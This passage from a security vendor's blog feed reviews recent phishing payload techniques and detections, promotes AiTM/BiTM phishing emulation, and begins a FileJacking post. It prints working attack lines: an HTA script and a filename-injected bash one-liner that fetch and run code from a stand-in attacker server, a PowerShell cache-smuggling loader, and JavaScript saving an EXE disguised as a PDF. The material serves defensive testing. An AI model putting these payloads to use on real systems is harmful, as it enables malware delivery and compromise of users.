06 }            // End of Central Directory    <br>    condition:<br>        // Zip File Header<br>        uint32(0) == 0x04034b50 and        // Require at least one LFH, no more than 10 and exactly one EOCD<br>        #lfh &gt; 0 and<br>        #lfh &lt;= 10 and<br>        #eocd == 1 and     // Extract reasonable name and extra field lengths from last LFH<br>        uint16(@lfh[#lfh] + 26) &lt;= 256 and<br>        uint16(@lfh[#lfh] + 28) &lt;= 256 and        // Compressed size from LFH must be present and sane<br>        uint32(@lfh[#lfh] + 18) &gt; 0 and<br>        uint32(@lfh[#lfh] + 18) &lt; 100000000 and        // CD offset must lie after the LFH (avoid malformed back-jumps)<br>        uint32(@eocd[1] + 16) &gt; @lfh[#lfh] and        // Compute estimated end of file content:<br>        // offset_of_LFH + lfh_size (fixed) + name_len + extra_len + compressed_size<br>        // Compare with central directory offset from EOCD<br>        // Gap must be 64b+, accounts for nonstandard but benign padding (data descriptors etc.)<br>        // but sacrificing detection of small file smuggling<br>        (<br>            uint32(@eocd[1] + 16) - (<br>                @lfh[#lfh] +<br>                30 +<br>                uint16(@lfh[#lfh] + 26) +<br>                uint16(@lfh[#lfh] + 28) +<br>                uint32(@lfh[#lfh] + 18)<br>            )<br>        ) &gt; 64<br>}</pre><p>This YARA rule calculates the approximate location for the end of the compressed file content within the ZIP archive, and flags instances where a notable gap exists (i.e. additional content is being smuggled) before the End of Central Directory (EOCD) header.</p><h4>6. Epsilon Red FileFix HTA</h4><blockquote>Check out the payload on delivr.to <a href="https://delivr.to/?id=0529e06b-1761-422e-9b93-39758d2f328d">here</a>.</blockquote><p><strong>Key Techniques:</strong></p><ul><li>JScript HTML script elements are included in an HTML that a user is encouraged to save with an HTA extension</li><li>When launched as an HTA, the script content executes to achieve infection</li></ul><p>Shortly after publishing our previous Top 10 in July ’25, we saw threat actors weaponising an alternative method of <a href="https://mrd0x.com/filefix-clickfix-alternative/">FileFix</a> infection, using Microsoft HTML Applications (HTAs).</p><p><a href="https://www.cloudsek.com/blog/threat-actors-lure-victims-into-downloading-hta-files-using-clickfix-to-spread-epsilon-red-ransomware">Threat Actors Lure Victims Into Downloading .HTA Files Using ClickFix To Spread Epsilon Red Ransomware | CloudSEK</a></p><p>Originally documented in mr.d0x’s follow-up post on FileFix, the premise is as follows:</p><ul><li>Embed &lt;script&gt; elements in a phishing page that leverages ActiveX objects to execute commands (these are not operational when viewed in the browser)</li><li>Via an onscreen lure, encourage the user to save the webpage as an HTA (in doing so, bypassing Mark of the Web)</li><li>When the page is reopened as an HTA on the user’s host, the embedded commands are executed</li></ul><p><a href="https://mrd0x.com/filefix-part-2/">mr.d0x</a></p><p>In the case of CloudSEK’s sample, this weaponisation allowed the download and execution of an EXE that led to the delivery of Epsilon Red ransomware.</p><p>We recreated the Cloudflare-themed lure as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k4Kr5jPOIDJfTw5UkTr6ig.png" /></figure><p>Viewing the HTML source for the page we see an embedded script object that includes the one-liner to fetch and execute an EXE:</p><pre>&lt;script language=&quot;JScript&quot;&gt;<br>    try {<br>        var shell = new ActiveXObject(&quot;WScript.Shell&quot;);<br>        setTimeout(function() {<br>            document.body.innerHTML = &#39;&lt;div class=&quot;main-wrapper&quot; role=&quot;main&quot;&gt;&lt;div class=&quot;main-content&quot;&gt;&lt;h2 class=&quot;h2&quot;&gt;Connection is verified ✅ &lt;/h2&gt;&lt;/div&gt;&lt;/div&gt;&#39;;<br>        var shell = new ActiveXObject(&quot;WScript.Shell&quot;); shell.Run(&quot;cmd /c cd /D %userprofile% &amp;&amp; curl -s -o a.exe https://ATTACKER-SERVER/malware.exe &amp;&amp; start a.exe&quot;, 0);<br>        }, 3000);<br>    } catch (e) {<br>    }<br>&lt;/script&gt;</pre><p><strong>Detections:</strong></p><p>As with the Filejacking JavaScript we saw earlier in this Top 10, we could look to detect the static indicators of this FileFix HTA variation, though obfuscation could easily thwart that endeavour.</p><p>The detection and prevention of MSHTA activity on the endpoint is likely a more robust solution. Either via application control policies targeting MSHTA, or using detection logic like the Sigma rule below that targetes suspicious child processes (like cmd.exe) spawning from MSHTA:</p><ul><li><strong>Sublime — Rule: </strong><a href="https://github.com/SigmaHQ/sigma/blob/6d581764e79ccac2382eda6b5fd66bc3097ce92e/rules/windows/process_creation/proc_creation_win_mshta_susp_child_processes.yml">Suspicious MSHTA Child Process</a></li></ul><h4>7. Cache Smuggling</h4><blockquote>Check out the payload on delivr.to <a href="https://delivr.to/?id=2809bcfc-5802-4036-93bf-9add47811f85">here</a>.</blockquote><p><strong>Key Techniques:</strong></p><ul><li>Webpage includes code to fetch a file with an image/jpeg content type, manipulated to include embedded content</li><li>Uses FileFix/ClickFix to initiate execution that finds and retrieves the embedded content from the browser’s Cache_Data directory</li></ul><p>In a blog from October ’25, Expel published a blog about an in-the-wild evolution of the prevalent FileFix method, utilising a technique dubbed “Browser Cache Smuggling” (originally shared by Aurélien Chalot, see their talk <a href="https://www.youtube.com/watch?v=wukEpTBka3Q">here</a>).</p><p><a href="https://expel.com/blog/cache-smuggling-when-a-picture-isnt-a-thousand-words/">Cache smuggling: When a picture isn&#39;t a thousand words</a></p><p>Ultimately <a href="https://x.com/Intrinsec/status/1980249658396999763?s=20">attributed</a> to Intrinsec’s red team, the sample used a Fortinet lure with a now all-too-familiar FileFix template, encouraging the user to copy a decoy UNC path into their Explorer address bar and execute a hidden one-liner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J-wxKDd-ZYXAijeM9kPnXw.png" /></figure><p>Behind the scenes, the one-liner seen below is executed:</p><pre>$k=’%LOCALAPPDATA%\FortiClient\compliance’;<br>mkdir -Force $k &gt; $null;<br>$d=’%LOCALAPPDATA%\Google\Chrome\User Data\Default\Cache\Cache_Data\’;<br>cp $d* $k; <br>gci $k|%{<br>    $c=[System.Text.Encoding]::Default.GetString([System.IO.File]::ReadAllBytes($_.FullName));<br>    $m=[regex]::Matches($c,&#39;(?&lt;=bTgQcBpv)(.*?)(?=mX6o0lBw)’,16);<br>    if($m.Count-gt 0){<br>        [System.IO.File]::WriteAllBytes($k+ ‘\ComplianceChecker.zip’,[System.Text.Encoding]::Default.GetBytes($m[0].Value)); <br>        Expand-Archive $k’\ComplianceChecker.zip’ $k -Force; <br>        &amp; $k’\FortiClientComplianceChecker.exe’<br>    }<br>} # \\Public\Support\VPN\ForticlientCompliance.exe</pre><p>This script performs the following activities:</p><ol><li>Creates a new directory in the Local App Data directory</li><li>Copies all of Chrome’s cached data into it</li><li>Enumerates each cached file and looks for a pair of known identifiers that serve as the delimiters around a smuggled executable</li><li>Writes the enclosed bytes as a ZIP archive and expands it</li><li>Executes an enclosed executable</li></ol><h4>Bonus Round — Exif Smuggling</h4><p>Following the initial blog from Expel, its author, Marcus Hutchins, released a <a href="https://malwaretech.com/2025/10/exif-smuggling.html">follow-up blog</a> highlighting how the malware authors could have gone further to hide the malicious contents of the cached file.</p><p>In the analysed sample, the cached file has a content type of image/jpeg , though the contents is simply the Base64-encoded ZIP surrounded by the delimiters bTgQcBpv and mX6o0lBw.</p><p>Marcus’s solution was to use the EXIF (Exchangeable image file format) headers (which can hold 64KB worth of metadata) of a true image file to store the malicious content. This enables the image file to be used in the webpage content, reducing the likelihood of detection due to some file-based anomaly.</p><blockquote>See an example of Exif Smuggling on delivr.to <a href="https://delivr.to/?id=492efcb3-76f4-4742-95e3-1f7902167849">here</a>.</blockquote><p><strong>Detections:</strong></p><p>A key component of this technique is the enumeration and/or copy of Chromium browser cached content. Given this content is almost exclusively used by the browser itself, anomalous file access could be a point of detection/prevention.</p><p>Where used in conjunction with a technique like FileFix, we could also leverage parent-child relationships and registry changes, as documented in our blog:</p><p><a href="https://blog.delivr.to/filefixed-detecting-and-preventing-filefix-exploitation-90825eb155ae">FileFixed - Detecting and Preventing FileFix Exploitation</a></p><h4>8. SVG ‘onclick’ Blob URL</h4><blockquote>Check out the payload on delivr.to <a href="https://delivr.to/?id=7d51cb71-3685-45b3-b7b0-bf13e14f3e53">here</a>.</blockquote><p><strong>Key Techniques:</strong></p><ul><li>Use of an SVG element onclick attribute to execute nested JavaScript</li><li>A Blob URL is used to present a multi-page download portal</li></ul><p>At №8, we have a report from September ’25, in which VirusTotal highlighted a widespread SVG-based phishing campaign.</p><p><a href="https://www.bleepingcomputer.com/news/security/virustotal-finds-hidden-malware-phishing-campaign-in-svg-files/">VirusTotal finds hidden malware phishing campaign in SVG files</a></p><p>The weaponisation of the SVG file format is something we’ve talk about extensively before and has featured in <a href="https://blog.delivr.to/delivr-tos-top-10-payloads-dec-24-pastejacking-image-less-qr-codes-and-concatenated-zip-a32e668106dd">past iterations</a> of the <a href="https://delivr.to/">delivr.to</a> Top 10.</p><p><a href="https://blog.delivr.to/svg-smuggling-a-picture-worth-a-thousand-words-fae8a946a300">SVG Smuggling: A picture worth a thousand words</a></p><p>This campaign caught our attention with its combination of an onclick JavaScript trigger, and use of blob URLs to construct a convincing multi-page download portal mimicking Columbia’s judicial system.</p><p>Stripping away extensive garbage text and multiple decoy functions, we see the core mechanics of the SVG smuggling:</p><pre>&lt;svg onclick=&quot;openDocument()&quot; ...<br>    xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot; <br>    xmlns=&quot;http://www.w3.org/2000/svg&quot;&gt;<br>    <br>    &lt;script type=&quot;text/javascript&quot;&gt;<br>      <br>      var umwzfhfhnxcqeym = &#39;PCFET0NU...&#39;<br><br>      function openDocument() {<br>          // MÉTODO EXACTO del SVG que funciona - Genera URLs blob únicas<br>          try {<br>              var htmlCompleto = atob(umwzfhfhnxcqeym);<br>              var blob = new Blob([htmlCompleto], { type: &#39;text/html&#39; });<br>              var url = URL.createObjectURL(blob);<br>              window.open(url, &#39;_blank&#39;);<br>              setTimeout(() =&gt; URL.revokeObjectURL(url), 5000);<br>          } catch(e) {<br>              console.error(&#39;Error:&#39;, e);<br>          }<br>      }<br>    &lt;/script&gt;<br>&lt;/svg&gt;</pre><p>Anywhere the user clicks on the image, the blob URL creation is triggered and the smuggled HTML content — an automatic file download page — is displayed in a new tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AtSyDtsHwQq68Mk_GXwEFA.png" /></figure><p>The sample drops a password-protected ZIP (where the password is displayed in the smuggled page, shown above — 4JYTYJ7K) containing an EXE from the legitimate Comodo Dragon web browser, used to perform a DLL sideload to achieve infection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*i4cPa0xvcs7he4rP.jpg" /><figcaption>Source: <a href="https://www.bleepingcomputer.com/news/security/virustotal-finds-hidden-malware-phishing-campaign-in-svg-files/">BleepingComputer</a></figcaption></figure><p>The below video shows a <a href="https://delivr.to/">delivr.to</a> payload (available <a href="https://delivr.to/?id=7d51cb71-3685-45b3-b7b0-bf13e14f3e53">here</a>) that emulates the same combination of SVG techniques.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fplayer.vimeo.com%2Fvideo%2F1118413173%3Fapp_id%3D122963&amp;dntp=1&amp;display_name=Vimeo&amp;url=https%3A%2F%2Fvimeo.com%2F1118413173&amp;image=https%3A%2F%2Fi.vimeocdn.com%2Fvideo%2F2058602430-bde611f608b9140cc468b5d5120a24ac2a800ea11bfcacf1b8d321b0b58e5f3f-d_1280%3Fregion%3Dus&amp;type=text%2Fhtml&amp;schema=vimeo" width="1462" height="1080" frameborder="0" scrolling="no"><a href="https://medium.com/media/f63fc302fd7e55a036274687209ee9ea/href">https://medium.com/media/f63fc302fd7e55a036274687209ee9ea/href</a></iframe><p><strong>Detections:</strong></p><p>The weaponisation of the SVG format often introduces several predictable indicators into the file content.</p><p>Even with noteworthy elements in this sample, in the form of blob URLs and the onclick attribute, the &lt;script&gt; block is a clear giveaway that something suspicious is taking place.</p><p>With additional context like an untrusted sender, we can use the below rule to detect and prevent weaponised SVG delivery.</p><ul><li><strong>Sublime — Rule:</strong> <a href="https://share.sublime.security/feeds/delivr-to/detection-rules/a3957f0c/">Attachment: SVG file with Script Tags (Unsolicited)</a></li></ul><h4>9. VShell Malicious Filename</h4><blockquote>Check out the payload on delivr.to <a href="https://delivr.to/?id=bfd6ed66-7661-4641-aa23-ce5601fcda57">here</a>.</blockquote><p><strong>Key Techniques:</strong></p><ul><li>Malicious one-liner delivered in a PDF filename within a RAR archive</li><li>The one-liner is executed by an accompanying bash script (or by system utilities that eval or echo the file name without sanitisation)</li></ul><p>How do you deliver malicious code in a file… without it being in the file? Put it in the filename instead!</p><p>A blog from Trellix in August ’25 highlighted a clever technique targeting Linux hosts, used to deliver VShell malware.</p><p><a href="https://www.trellix.com/blogs/research/the-silent-fileless-threat-of-vshell/">The Silent, Fileless Threat of VShell</a></p><p>Initially, a RAR archive is delivered to target users, containing a PDF with a crafted filename (shown below). When the files of the RAR are enumerated, either by an accompanying launcher script or existing system utilities (using eval or echo style commands), the embedded one-liner is evaluated and VShell infection begins.</p><pre>ziliao2.pdf`{echo,KGN1cmwgLWZ...0by5tZS9zbHcpfHNo}|{base64,-d}|bash`</pre><p>Once decoded, we see the below:</p><pre>ziliao2.pdf`{echo,(curl -fsSL -m180 http://[ATTACKER_SERVER]/slw||wget -T180 -q http://[ATTACKER_SERVER]/slw)|sh  }_{base64,-d}_bash`</pre><p>The one-liner retrieves a second-stage downloader bash script which profiles the system, before reaching out to fetch a payload from the C2 server tailored to the host architecture.</p><p>This payload then fetches the final-stage XOR-encrypted VShell malware, decrypts it and launches it in-memory using <a href="https://man7.org/linux/man-pages/man3/fexecve.3.html">fexecve()</a>.</p><p>A demonstration of the technique can be seen below:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fplayer.vimeo.com%2Fvideo%2F1112542671%3Fapp_id%3D122963&amp;dntp=1&amp;display_name=Vimeo&amp;url=https%3A%2F%2Fvimeo.com%2F1112542671&amp;image=https%3A%2F%2Fi.vimeocdn.com%2Fvideo%2F2050807127-953de32ee38552e152600e21553f93035823240eabb5ebc4539ed1ab6446b10c-d_1280%3Fregion%3Dus&amp;type=text%2Fhtml&amp;schema=vimeo" width="1672" height="1080" frameborder="0" scrolling="no"><a href="https://medium.com/media/51939ce8a40d07399d97a1e262101bb3/href">https://medium.com/media/51939ce8a40d07399d97a1e262101bb3/href</a></iframe><p><strong>Detections:</strong></p><p>The filename one-liner is a clear detection focus for this technique, we can detect this with the below Sublime rule from vector_sec:</p><ul><li><strong>Sublime — Rule: </strong><a href="https://sublime.security/feeds/core/detection-rules/attachment-base64-encoded-bash-command-in-filename-819f69c8/">Attachment: Base64 encoded bash command in filename</a></li></ul><h4>10. CVE-2025-6218 WinRAR Arbitrary File Write</h4><blockquote>Check out the payload on delivr.to <a href="https://delivr.to/?id=2b63ecb3-0e81-4698-b343-d7be8c60c20a">here</a>.</blockquote><p><strong>Key Techniques:</strong></p><ul><li>A directory traversal vulnerability in WinRAR prior to version 7.12</li><li>A crafted ZIP or RAR archive could be used to achieve persistence and code execution</li></ul><p>Last but not least! It’s not the <a href="https://blog.delivr.to/delivr-tos-top-10-payloads-july-25-filefix-zip-smuggling-and-qrljacking-d2ef930675fe#e200">first time</a> we’ve included an archive manager vulnerability in our Top 10. This type of software remains a prime target for threat actors.</p><p>With target users opening untrusted archives as part of intended use, weaknesses can be exploited to <a href="https://delivr.to/?id=23176911-005d-4d84-b8dd-d3b77356ced3">bypass Mark of the Web</a>, perform directory traversal, or in the worst case, achieve <a href="https://delivr.to/?id=ab969e8a-bf5c-45a6-acd0-0dd2b2a34750">arbitrary code execution</a>.</p><p>In the case of CVE-2025–6218, we have a directory traversal vulnerability in WinRAR that allows an actor to drop files into arbitrary writeable locations on a target user’s file system.</p><p>This vulnerability was noted to have been used by a suspected South Asian threat group:</p><p><a href="https://www.secpod.com/blog/archive-terror-dissecting-the-winrar-cve-2025-6218-exploit-apt-c-08s-stealth-move/">Archive Terror: Dissecting the WinRAR CVE-2025-6218 Exploit &amp; APT-C-08&#39;s Stealth Move</a></p><p>Fixed in WinRAR 7.12, exploiting this vulnerability could achieve execution and persistence by dropping files into a user’s Startup folder, or alongside other files to achieve a DLL hijack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*sWkZYWdoS6LK36Qec92jqw.png" /></figure><p><strong>Detections:</strong></p><blockquote>This wasn’t the only WinRAR CVE that could have made the list, CVE-2025–8088 was another directory traversal bug, also <a href="https://thehackernews.com/2025/12/warning-winrar-vulnerability-cve-2025.html">leveraged by threat actors</a>.</blockquote><p>Naturally, the best course of action here is to patch your WinRAR installs!</p><p>After that, we can target the manipulated file path with a Sublime or YARA rule to detect and prevent weaponised archives from being delivered.</p><ul><li><strong>Sublime — Rule: </strong><a href="https://sublime.security/feeds/delivr-to/detection-rules/attachment-archive-with-directory-traversal-cve-2025-6218-unsolicited-dbcadf73/">Attachment: Archive with Directory Traversal CVE-2025–6218 (Unsolicited)</a></li><li><strong>YARA — Rule: </strong><a href="https://github.com/delivr-to/detections/blob/main/yara-rules/archive_cve_2025_6218.yar">SUSP_archive_CVE_2025_6218_Jul25</a></li></ul><h4>Conclusions</h4><p>Taken together, this Top 10 reflects a familiar pattern. As the defensive toolset in a given problem space matures, attackers rarely focus on tackling it head-on.</p><p>Why try to bypass solutions like Mark of the Web or Gatekeeper when you can prompt users to paste and run the commands themselves? Why try to evade file scanning signatures when a payload can be smuggled somewhere no scanner looks?</p><p>As new trends emerge and fresh techniques come to the fore, we’ll keep the Top 10 updated — giving you a perfect place to start strengthening your defences.</p><h4>delivr.to</h4><p><a href="https://delivr.to/">delivr.to</a> is a platform for validating email security controls, through the continuous and automated sending of email attachment and link content.</p><p><a href="https://delivr.to/">delivr.to</a> has a broad collection of over 800 payload samples, ranging from recreations of threat actor activity, esoteric and weaponisable file formats, and emerging techniques. These are presented in hand-crafted ‘campaigns’ to provide an evidence-based appraisal of email defences and highlight areas for attack surface reduction.</p><p><a href="https://delivr.to/">delivr.to</a> offers a free 30 day trial, so head over and try it out now!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7ae8354ce7c9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Emulating AiTM and BiTM Attacks]]></title>
            <link>https://medium.com/@delivrto/emulating-aitm-and-bitm-attacks-d7a4ac756576?source=rss-1242be189bc------2</link>
            <guid isPermaLink="false">https://medium.com/p/d7a4ac756576</guid>
            <category><![CDATA[aitm]]></category>
            <category><![CDATA[purple-teaming]]></category>
            <category><![CDATA[adversary-emulation]]></category>
            <dc:creator><![CDATA[delivr.to]]></dc:creator>
            <pubDate>Tue, 19 Aug 2025 18:37:30 GMT</pubDate>
            <atom:updated>2025-08-19T18:37:30.008Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*HEaDDfZMCTpTYqOznCF4nQ.png" /></figure><p>Adversary-in-the-Middle (AiTM) and Browser-in-the-Middle (BiTM) techniques have become core to modern phishing campaigns. Attackers are no longer just collecting usernames and passwords. They’re stealing live, post-MFA session cookies — and using them to hijack accounts undetected.</p><p>These techniques are simple to set up, hard to detect, and extremely effective. Campaigns targeting Okta, Microsoft 365, AWS, and other SaaS platforms are leveraging this approach daily.</p><p><a href="https://delivr.to/">delivr.to</a> now supports emulation of both AiTM and BiTM attacks using real offensive frameworks, including <strong>Evilginx</strong> and <strong>EvilnoVNC</strong>.</p><p>This is not a mock-up or a safe re-creation. These are the actual tools threat actors are using, provided in a controlled environment for defenders to assess their own detection and response capabilities.</p><h3>Real Emulation, Not Approximation</h3><p>With this release, <a href="https://delivr.to/#:~:text=Pricing-,Starter,-Our%20most%20cost">Premium and Enterprise</a> users can now simulate AiTM and BiTM attacks targeting login flows for <strong>Okta</strong>, <strong>Microsoft 365</strong>, and <strong>Amazon</strong>. You can either launch sessions on-demand from the <a href="https://delivr.to/">delivr.to</a> portal, or send yourself simulated phishing emails with embedded attack links.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*986o5ilP9H8X27EcAJLjew.png" /><figcaption>On-demand links</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*0THm2OWTctgpAwqsOQjkiQ.png" /><figcaption>Emailed links</figcaption></figure><p>On-demand links are useful for testing controls such as EDR browser plugins, endpoint integrations, and network-level controls like next-gen firewalls and cloud access security brokers.</p><p>Email-based delivery better reflects real-world phishing paths and is most effective for testing how your email gateway, sandboxing tools, and abuse workflows handle these kinds of payloads.</p><p>Because these are real frameworks in operation — not re-implementations — this is the most accurate emulation available, short of deploying your own adversary infrastructure. It reflects exactly how threat actors operate: proxying the login page, capturing session tokens, and bypassing MFA.</p><h3>A Note on Credential Capture</h3><p>By design, AiTM and BiTM frameworks are built to harvest authentication data. Evilginx proxies and captures everything the user submits. EvilnoVNC goes further — letting attackers observe and control the full session.</p><p>To mitigate these risks, <a href="https://delivr.to/">delivr.to</a> <em>could </em>implement safeguards such as blocking POST requests to prevent credential submission, however being emulation purists at heart, we believe it should be up to the operator’s discretion to determine how far to take things.</p><p><strong>For that reason, these tools have not been neutered, and will operate as if they’ve been deployed maliciously.</strong></p><p>Given this, <strong>under no circumstances should production credentials ever be entered into these lures</strong>. If credentials are submitted accidentally, they must be assumed compromised and appropriate incident response processes should be followed immediately.</p><h3>What You Can Learn</h3><p>This emulation capability allows teams to explore a range of security questions:</p><ul><li>Are your email security tools able to identify and stop links to AiTM tools?</li><li>Can your browser-based security tooling detect session hijack behaviors?</li><li>Are your firewalls and SSL inspection appliances catching suspicious connections to attacker infrastructure?</li><li>Will your detections fire if a session token is reused from a different location?</li></ul><p>It also helps validate your response workflows. If a session is hijacked, do your monitoring systems notice? Do you have controls in place to kill sessions or force reauthentication? Are your conditional access policies robust enough to detect anomalies?</p><p>This kind of hands-on exposure makes it easier to map out what works — and where the gaps are — before a real attacker shows up.</p><h3>How These Attacks Work</h3><p>AiTM attacks like those delivered via Evilginx work by acting as a transparent reverse proxy. The user thinks they’re logging into a familiar service like Microsoft 365, but their traffic is being silently passed through the attacker’s infrastructure. When MFA is completed, the attacker captures the session cookie and can use it to authenticate as the user — no credentials required.</p><p>BiTM attacks using tools like EvilnoVNC go a step further. The victim’s browser connects to a virtual browser session hosted by the attacker. Any login performed within this session hands control directly to the attacker, including full access to cookies, tokens, and any subsequent application usage.</p><p>These attacks are difficult to detect because they leverage legitimate infrastructure. Domains are often fronted by services like Cloudflare and serve valid TLS certificates. Sandboxing tools struggle to crawl the login paths because of JavaScript challenges or CAPTCHA protection. Most traditional indicators — like suspicious URLs or form captures — don’t apply, because the user is interacting with the real login page.</p><h3>Current Detection and Evasion Trends</h3><p>Detection tools are improving, but so are the kits. Newer phishing frameworks use JavaScript fingerprinting to detect bots and crawlers. They employ redirect chains that confuse scanners. Some include built-in CAPTCHAs or require user interaction to load the phishing page, reducing the effectiveness of URL analysis.</p><p>AI-based detection tools are being applied, but face limitations. HTML and DOM structures appear legitimate because the underlying login flows are real. Security controls that look for fake branding, incorrect URLs, or suspicious form elements can be bypassed.</p><p>This arms race means defenders need to test what happens <strong>in their own environment</strong>. Vendor marketing claims and detection signatures aren’t enough. Real emulation gives you the insight needed to tune your controls, adjust your alerting, and prepare for what these attacks actually look like in practice.</p><h3>Demo</h3><p>At the time of publication, the following frameworks and lures are available.</p><ul><li>Evilginx (Okta)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*Ptm05TRmOazmdBnkTJZ31A.png" /></figure><ul><li>Evilginx (Amazon)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*-ixxMtsQrXKnbmYro0dQsg.png" /></figure><ul><li>Evilginx (O365)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*Sz0C-CwdCO6UdQw5ZqpBnA.png" /></figure><ul><li>EvilnoVNC (Okta)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*8lWlbhUkoLcg98PkNAIJiw.png" /></figure><ul><li>EvilnoVNC (O365)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*MMzVbvjMnGAWXhNbO3t8SA.png" /></figure><p>Many more are in the pipeline, and we take requests! Email <a href="/service/mailto:support@delivr.to">support@delivr.to</a> if there’s a framework you’d love to see emulated.</p><h3>delivr.to</h3><p><a href="https://delivr.to/">delivr.to</a> is a platform for validating email security controls, through the continuous and automated sending of email attachment and link content.</p><p><a href="https://delivr.to/">delivr.to</a> has a broad collection of over 700 payload samples, ranging from recreations of threat actor activity, esoteric and weaponisable file formats, and emerging techniques. These are presented in hand-crafted ‘campaigns’ to provide an evidence-based appraisal of email defences and highlight areas for attack surface reduction.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d7a4ac756576" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[FileJacking: Exfiltrating Mapped Drives from the Browser]]></title>
            <link>https://medium.com/@delivrto/filejacking-exfiltrating-mapped-drives-from-the-browser-bb0af6736625?source=rss-1242be189bc------2</link>
            <guid isPermaLink="false">https://medium.com/p/bb0af6736625</guid>
            <category><![CDATA[purple-team]]></category>
            <category><![CDATA[email-security]]></category>
            <dc:creator><![CDATA[delivr.to]]></dc:creator>
            <pubDate>Mon, 11 Aug 2025 03:51:16 GMT</pubDate>
            <atom:updated>2025-08-11T03:51:16.038Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uYrxOcP3jHyK3eg8f8y12Q.png" /></figure><p>A recent research post from <a href="https://x.com/Print3M_">Print3M</a> highlighted how <a href="https://developer.mozilla.org/en-US/docs/Web/API/File_System_API">Chromium File System APIs</a> could be used for a variety of initial access scenarios. Used in the JavaScript of an HTML attachment or a hosted site, this could enable the delivery of payloads, as well as the backdooring of existing user files.</p><p><a href="https://print3m.github.io/blog/filejacking-initial-access-with-file-system-api">FileJacking - Initial Access with File System API</a></p><p>While digging into their (great!) research, we explored another path that you could go down with this functionality — exfiltration.</p><p>In this blog, we’ll explore a scenario in which a user could be coerced into inadvertently (and indiscernibly) giving an attacker access to their entire home drive or other network shares!</p><h3>Chromium File System APIs</h3><p>Firstly, a quick primer on what’s possible with these File System APIs. We’d strongly encourage you to go and read Print3M’s work, but here’s a very quick recap for completeness.</p><p>These File System APIs are specific to Chromium browsers (like Chrome and Edge) and enable a customised file opening/saving experience to be provided to the end user.</p><ul><li>window.showOpenFilePicker()</li><li>window.showSaveFilePicker()</li><li>window.showDirectoryPicker()</li></ul><p>They’re relatively self-explanatory in name, but the three functions above allow users to open or save a specific file, or select a directory for further interaction; for example, to save (or read 👀) multiple files at once.</p><p>Interestingly, when calling the likes of window.showSaveFilePicker we can provide a suggested file name, location (limited to a specific set of enum values like desktop, downloads, documents, etc.) and the acceptable file types.</p><p>For endpoint detections specifically built around downloaded files that land in the user’s Downloads directory, this already throws up some interesting edge cases.</p><p>The JavaScript snippet below shows how this window.showSaveFilePicker function can be used to retrieve a ‘file handle’ based on the end user’s selection and then proceed to write arbitrary content.</p><pre>document.getElementById(&#39;saveButton&#39;).addEventListener(&#39;click&#39;, async () =&gt; {<br>    try {<br>        // Show the file picker<br>        const fileHandle = await window.showSaveFilePicker({<br>            suggestedName: &#39;Shared File.ｐdf.exe&#39;,<br>            startIn: &#39;desktop&#39;, // Start in the desktop directory<br>            types: [{<br>                description: &#39;PDF Files&#39;,<br>                accept: {<br>                    &#39;application/x-msdownload&#39;: [&#39;.pdf&#39;],<br>                }<br>            }],<br>        });<br>  <br>        // Create a FileSystemWritableFileStream to write to<br>        const exeStream = await fileHandle.createWritable();<br>        <br>        // Decode the base64 content to binary data<br>        const base64Decoded = atob(&quot;EMBEDDED_B64_PAYLOAD&quot;);<br>        <br>        // Convert the binary string to an ArrayBuffer<br>        const byteArray = new Uint8Array(base64Decoded.length);<br>        for (let i = 0; i &lt; base64Decoded.length; i++) {<br>            byteArray[i] = base64Decoded.charCodeAt(i);<br>        }<br><br>        // Write the binary data to the file<br>        await exeStream.write(byteArray);<br>        await exeStream.close();<br>    } catch (error) {<br>        console.error(&#39;Error:&#39;, error);<br>    }<br>    ...</pre><p>With a quick glance over the above code, you should see a few things that raise an eyebrow. Most notably, the combination of a double-extension EXE file name and a mismatched accept block (i.e. .pdf).</p><p>When loaded in the user’s browser, this displays the below, with the browser more than happy to save an executable while suggesting to the user that it’s a PDF.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jXsEzy8V_QwB1BJisFSXZg.png" /></figure><p>We say, ‘<em>more than happy</em>’… that might be a bit of a stretch. You’ll notice that the p of PDF in the JavaScript is actually a <a href="https://unicode-explorer.com/c/FF50">replacement unicode character</a>.</p><p>This isn’t to evade endpoint detection of the commonly-abused double-extension, if you suggest a filename with .pdf.exe, ‘Safe Browsing’ intervenes and the file write is blocked (cool!).</p><pre>Error: AbortError: Blocked by Safe Browsing.</pre><p>Another File System API function we can use is DataTransferItem.getAsFileSystemHandle(). This allows for file manipulation when combined with other useful page interaction mechanisms like <a href="https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API">Clipboard Copy-Paste</a> and <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTML_Drag_and_Drop_API">Drag-and-Drop</a>.</p><p>This one throws up some particularly interesting abuse 